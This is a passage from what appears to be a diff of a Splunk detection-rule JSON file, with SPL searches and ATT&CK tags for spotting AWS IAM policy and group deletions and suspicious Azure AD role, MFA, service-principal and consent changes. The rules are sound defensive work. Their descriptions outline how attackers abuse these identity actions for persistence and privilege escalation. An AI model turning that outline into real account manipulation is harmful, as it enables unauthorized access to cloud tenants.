following analytic identifies when a policy is deleted in AWS. It leverages Amazon Security Lake logs to detect the DeletePolicy API operation. Monitoring policy deletions is crucial as it can indicate unauthorized attempts to weaken security controls. If confirmed malicious, this activity could allow an attacker to remove critical security policies, potentially leading to privilege escalation or unauthorized access to sensitive resources.", - "search": "`amazon_security_lake` api.operation=DeletePolicy | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.name actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.name as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_iam_delete_policy_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has deleted AWS Policies from IP address $src_ip$.", - "risk_score": 10, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "ASL AWS IAM Failure Group Deletion", - "description": "The following analytic detects failed attempts to delete AWS IAM groups, triggered by access denial, conflicts, or non-existent groups. It operates by monitoring CloudTrail logs for specific error codes related to deletion failures. This behavior is significant for a SOC as it may indicate unauthorized attempts to modify access controls or disrupt operations by removing groups. Such actions could be part of a larger attack aiming to escalate privileges or impair security protocols. Identifying these attempts allows for timely investigation and mitigation, preventing potential impact on the organizations security posture.", - "search": "`amazon_security_lake` api.operation=DeleteGroup api.response.error IN (NoSuchEntityException,DeleteConflictException, AccessDenied) http_request.user_agent!=*.amazonaws.com | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.name actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.name as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_iam_failure_group_deletion_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has had mulitple failures while attempting to delete groups from $src_ip$", - "risk_score": 5, - "security_domain": "cloud", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "ASL AWS IAM Successful Group Deletion", - "description": "The following analytic detects the successful deletion of a group within AWS IAM, leveraging CloudTrail IAM events. This action, while not inherently malicious, can serve as a precursor to more sinister activities, such as unauthorized access or privilege escalation attempts. By monitoring for such deletions, the analytic aids in identifying potential preparatory steps towards an attack, allowing for early detection and mitigation. The identification of this behavior is crucial for a SOC to prevent the potential impact of an attack, which could include unauthorized access to sensitive resources or disruption of AWS environment operations.", - "search": "`amazon_security_lake` api.operation=DeleteGroup status=Success | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.name actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.name as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_iam_successful_group_deletion_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has sucessfully deleted a user group from $src_ip$", - "risk_score": 5, - "security_domain": "cloud", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069.003", - "mitre_attack_technique": "Cloud Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "AWS IAM Delete Policy", - "description": "The following analytic detects the deletion of an IAM policy in AWS. It leverages AWS CloudTrail logs to identify `DeletePolicy` events, excluding those from AWS internal services. This activity is significant as unauthorized policy deletions can disrupt access controls and weaken security postures. If confirmed malicious, an attacker could remove critical security policies, potentially leading to privilege escalation, unauthorized access, or data exfiltration. Monitoring this behavior helps ensure that only authorized changes are made to IAM policies, maintaining the integrity and security of the AWS environment.", - "search": "`cloudtrail` eventName=DeletePolicy (userAgent!=*.amazonaws.com) | stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.policyArn) as policyArn by src user_arn eventName eventSource aws_account_id errorCode errorMessage userAgent eventID awsRegion userIdentity.principalId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_iam_delete_policy_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has deleted AWS Policies from IP address $src$ by executing the following command $eventName$", - "risk_score": 10, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "AWS IAM Failure Group Deletion", - "description": "The following analytic identifies failed attempts to delete AWS IAM groups. It leverages AWS CloudTrail logs to detect events where the DeleteGroup action fails due to errors like NoSuchEntityException, DeleteConflictException, or AccessDenied. This activity is significant as it may indicate unauthorized attempts to modify IAM group configurations, which could be a precursor to privilege escalation or other malicious actions. If confirmed malicious, this could allow an attacker to disrupt IAM policies, potentially leading to unauthorized access or denial of service within the AWS environment.", - "search": "`cloudtrail` eventSource=iam.amazonaws.com eventName=DeleteGroup errorCode IN (NoSuchEntityException,DeleteConflictException, AccessDenied) (userAgent!=*.amazonaws.com) | stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.groupName) as group_name by src eventName eventSource aws_account_id errorCode errorMessage userAgent eventID awsRegion userIdentity.principalId user_arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_iam_failure_group_deletion_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has had mulitple failures while attempting to delete groups from $src$", - "risk_score": 5, - "security_domain": "cloud", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "AWS IAM Successful Group Deletion", - "description": "The following analytic identifies the successful deletion of an IAM group in AWS. It leverages CloudTrail logs to detect `DeleteGroup` events with a success status. This activity is significant as it could indicate potential changes in user permissions or access controls, which may be a precursor to further unauthorized actions. If confirmed malicious, an attacker could disrupt access management, potentially leading to privilege escalation or unauthorized access to sensitive resources. Analysts should review related IAM events, such as recent user additions or new group creations, to assess the broader context.", - "search": "`cloudtrail` eventSource=iam.amazonaws.com eventName=DeleteGroup errorCode=success (userAgent!=*.amazonaws.com) | stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.groupName) as group_deleted by src eventName eventSource errorCode user_agent awsRegion userIdentity.principalId user_arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_iam_successful_group_deletion_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "group_deleted", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has sucessfully deleted mulitple groups $group_deleted$ from $src$", - "risk_score": 5, - "security_domain": "cloud", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069.003", - "mitre_attack_technique": "Cloud Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Azure AD Application Administrator Role Assigned", - "description": "The following analytic identifies the assignment of the Application Administrator role to an Azure AD user. It leverages Azure Active Directory events, specifically monitoring the \"Add member to role\" operation. This activity is significant because users in this role can manage all aspects of enterprise applications, including credentials, which can be used to impersonate application identities. If confirmed malicious, an attacker could escalate privileges, manage application settings, and potentially access sensitive resources by impersonating application identities, posing a significant security risk to the Azure AD tenant.", - "search": " `azure_monitor_aad` \"operationName\"=\"Add member to role\" \"properties.targetResources{}.modifiedProperties{}.newValue\"=\"\\\"Application Administrator\\\"\" | rename properties.* as * | rename initiatedBy.user.userPrincipalName as initiatedBy | stats count min(_time) as firstTime max(_time) as lastTime by user initiatedBy, result, operationName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_application_administrator_role_assigned_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Privilege Escalation" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "initiatedBy", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "The privileged Azure AD role Application Administrator was assigned for User $user$ initiated by $initiatedBy$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD New MFA Method Registered", - "description": "The following analytic detects the registration of a new Multi-Factor Authentication (MFA) method for a user account in Azure Active Directory. It leverages Azure AD audit logs to identify changes in MFA configurations. This activity is significant because adding a new MFA method can indicate an attacker's attempt to maintain persistence on a compromised account. If confirmed malicious, the attacker could bypass existing security measures, solidify their access, and potentially escalate privileges, access sensitive data, or make unauthorized changes. Immediate verification and remediation are required to secure the affected account.", - "search": "`azure_monitor_aad` operationName=\"Update user\" | rename properties.* as * | eval propertyName = mvindex('targetResources{}.modifiedProperties{}.displayName', 0) | search propertyName = StrongAuthenticationMethod | eval oldvalue = mvindex('targetResources{}.modifiedProperties{}.oldValue',0) | eval newvalue = mvindex('targetResources{}.modifiedProperties{}.newValue',0) | rex field=newvalue max_match=0 \"(?i)(?\\\"MethodType\\\")\" | rex field=oldvalue max_match=0 \"(?i)(?\\\"MethodType\\\")\" | eval count_new_method_type = coalesce(mvcount(new_method_type), 0) | eval count_old_method_type = coalesce(mvcount(old_method_type), 0) | stats earliest(_time) as firstTime latest(_time) as lastTime values(propertyName) by user newvalue oldvalue | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_new_mfa_method_registered_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new MFA method was registered for user $user$", - "risk_score": 30, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.005", - "mitre_attack_technique": "Device Registration", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Azure AD PIM Role Assigned", - "description": "The following analytic detects the assignment of an Azure AD Privileged Identity Management (PIM) role. It leverages Azure Active Directory events to identify when a user is added as an eligible member to a PIM role. This activity is significant because PIM roles grant elevated privileges, and their assignment should be closely monitored to prevent unauthorized access. If confirmed malicious, an attacker could exploit this to gain privileged access, potentially leading to unauthorized actions, data breaches, or further compromise of the environment.", - "search": " `azure_monitor_aad` operationName=\"Add eligible member to role in PIM completed*\" | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user values(targetResources{}.displayName) as displayName by result, operationName, initiatedBy.user.displayName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_pim_role_assigned_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "Azure Active Directory Privilege Escalation" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An Azure AD PIM role assignment was assiged to $user$", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD PIM Role Assignment Activated", - "description": "The following analytic detects the activation of an Azure AD Privileged Identity Management (PIM) role. It leverages Azure Active Directory events to identify when a user activates a PIM role assignment, indicated by the \"Add member to role completed (PIM activation)\" operation. Monitoring this activity is crucial as PIM roles grant elevated privileges, and unauthorized activation could indicate an adversary attempting to gain privileged access. If confirmed malicious, this could lead to unauthorized administrative actions, data breaches, or further compromise of the Azure environment.", - "search": " `azure_monitor_aad` operationName=\"Add member to role completed (PIM activation)\" | rename properties.* as * | rename initiatedBy.user.userPrincipalName as initiatedBy | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user values(targetResources{}.displayName) as displayName by initiatedBy, result, operationName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_pim_role_assignment_activated_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "Azure Active Directory Privilege Escalation" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An Azure AD PIM role assignment was activated by $initiatedBy$ by $user$", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Privileged Role Assigned", - "description": "The following analytic detects the assignment of privileged Azure Active Directory roles to a user. It leverages Azure AD audit logs, specifically monitoring the \"Add member to role\" operation. This activity is significant as adversaries may assign privileged roles to compromised accounts to maintain persistence within the Azure AD environment. If confirmed malicious, this could allow attackers to escalate privileges, access sensitive information, and maintain long-term control over the Azure AD infrastructure.", - "search": " `azure_monitor_aad` \"operationName\"=\"Add member to role\" | rename properties.* as * | rename initiatedBy.user.userPrincipalName as initiatedBy | rename targetResources{}.modifiedProperties{}.newValue as roles | eval role=mvindex(roles,1) | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by initiatedBy, result, operationName, role | lookup privileged_azure_ad_roles azureadrole AS role OUTPUT isprvilegedadrole description | search isprvilegedadrole = True | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_privileged_role_assigned_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "NOBELIUM Group" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "initiatedBy", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "A privileged Azure AD role was assigned for User $user$ initiated by $initiatedBy$", - "risk_score": 63, - "security_domain": "audit", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Privileged Role Assigned to Service Principal", - "description": "The following analytic detects the assignment of privileged roles to service principals in Azure Active Directory (AD). It leverages the AuditLogs log category from ingested Azure AD events. This activity is significant because assigning elevated permissions to non-human entities can lead to unauthorized access or malicious activities. If confirmed malicious, attackers could exploit these service principals to gain elevated access to Azure resources, potentially compromising sensitive data and critical infrastructure. Monitoring this behavior helps prevent privilege escalation and ensures the security of Azure environments.", - "search": " `azure_monitor_aad` operationName=\"Add member to role\" | rename properties.* as * | search \"targetResources{}.type\"=ServicePrincipal | rename initiatedBy.user.userPrincipalName as initiatedBy | rename targetResources{}.modifiedProperties{}.newValue as roles | eval role=mvindex(roles,1) | rename targetResources{}.displayName as apps | eval displayName=mvindex(apps,0) | stats count min(_time) as firstTime max(_time) as lastTime values(displayName) as displayName by initiatedBy, result, operationName, role | lookup privileged_azure_ad_roles azureadrole AS role OUTPUT isprvilegedadrole description | search isprvilegedadrole = True | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_privileged_role_assigned_to_service_principal_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Privilege Escalation", - "NOBELIUM Group" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "initiatedBy", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A privileged Azure AD role was assigned to the Service Principal $displayName$ initiated by $initiatedBy$", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Service Principal New Client Credentials", - "description": "The following analytic detects the addition of new credentials to Service Principals and Applications in Azure AD. It leverages Azure AD AuditLogs, specifically monitoring the \"Update application*Certificates and secrets management\" operation. This activity is significant as it may indicate an adversary attempting to maintain persistent access or escalate privileges within the Azure environment. If confirmed malicious, attackers could use these new credentials to log in as the service principal, potentially compromising sensitive accounts and resources, leading to unauthorized access and control over the Azure environment.", - "search": " `azure_monitor_aad` category=AuditLogs operationName=\"Update application*Certificates and secrets management \" | rename properties.* as * | rename targetResources{}.* as * | stats count min(_time) as firstTime max(_time) as lastTime values(displayName) as displayName by user, modifiedProperties{}.newValue, src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_service_principal_new_client_credentials_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "Azure Active Directory Privilege Escalation", - "NOBELIUM Group" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "New credentials added for Service Principal by $user$", - "risk_score": 35, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.001", - "mitre_attack_technique": "Additional Cloud Credentials", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Azure AD Service Principal Owner Added", - "description": "The following analytic detects the addition of a new owner to a Service Principal within an Azure AD tenant. It leverages Azure Active Directory events from the AuditLog log category to identify this activity. This behavior is significant because Service Principals do not support multi-factor authentication or conditional access policies, making them a target for adversaries seeking persistence or privilege escalation. If confirmed malicious, this activity could allow attackers to maintain access to the Azure AD environment with single-factor authentication, potentially leading to unauthorized access and control over critical resources.", - "search": " `azure_monitor_aad` operationName=\"Add owner to application\" | rename properties.* as * | rename initiatedBy.user.userPrincipalName as initiatedBy | rename targetResources{}.userPrincipalName as newOwner | rename targetResources{}.modifiedProperties{}.newValue as displayName | eval displayName = mvindex(displayName,1) | where initiatedBy!=newOwner | stats count min(_time) as firstTime max(_time) as lastTime values(displayName) as displayName by initiatedBy, result, operationName, newOwner | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_service_principal_owner_added_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "Azure Active Directory Privilege Escalation", - "NOBELIUM Group" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "displayName", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "initiatedBy", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "A new owner was added for service principal $displayName$ by $initiatedBy$", - "risk_score": 54, - "security_domain": "audit", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Azure AD Tenant Wide Admin Consent Granted", - "description": "The following analytic identifies instances where admin consent is granted to an application within an Azure AD tenant. It leverages Azure AD audit logs, specifically events related to the admin consent action within the ApplicationManagement category. This activity is significant because admin consent allows applications to access data across the entire tenant, potentially exposing vast amounts of organizational data. If confirmed malicious, an attacker could gain extensive and persistent access to sensitive data, leading to data exfiltration, espionage, further malicious activities, and potential compliance violations.", - "search": "`azure_monitor_aad` operationName=\"Consent to application\" | eval new_field=mvindex('properties.targetResources{}.modifiedProperties{}.newValue', 4) | rename properties.* as * | rex field=new_field \"ConsentType: (?[^\\,]+)\" | rex field=new_field \"Scope: (?[^\\,]+)\" | search ConsentType = \"AllPrincipals\" | stats count min(_time) as firstTime max(_time) as lastTime by operationName, user, targetResources{}.displayName, targetResources{}.id, ConsentType, Scope | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_tenant_wide_admin_consent_granted_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "NOBELIUM Group" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Administrator $user$ consented an OAuth application for the tenant.", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD User Enabled And Password Reset", - "description": "The following analytic detects an Azure AD user enabling a previously disabled account and resetting its password within 2 minutes. It uses Azure Active Directory events to identify this sequence of actions. This activity is significant because it may indicate an adversary with administrative access attempting to establish a backdoor identity within the Azure AD tenant. If confirmed malicious, this could allow the attacker to maintain persistent access, escalate privileges, and potentially exfiltrate sensitive information from the environment.", - 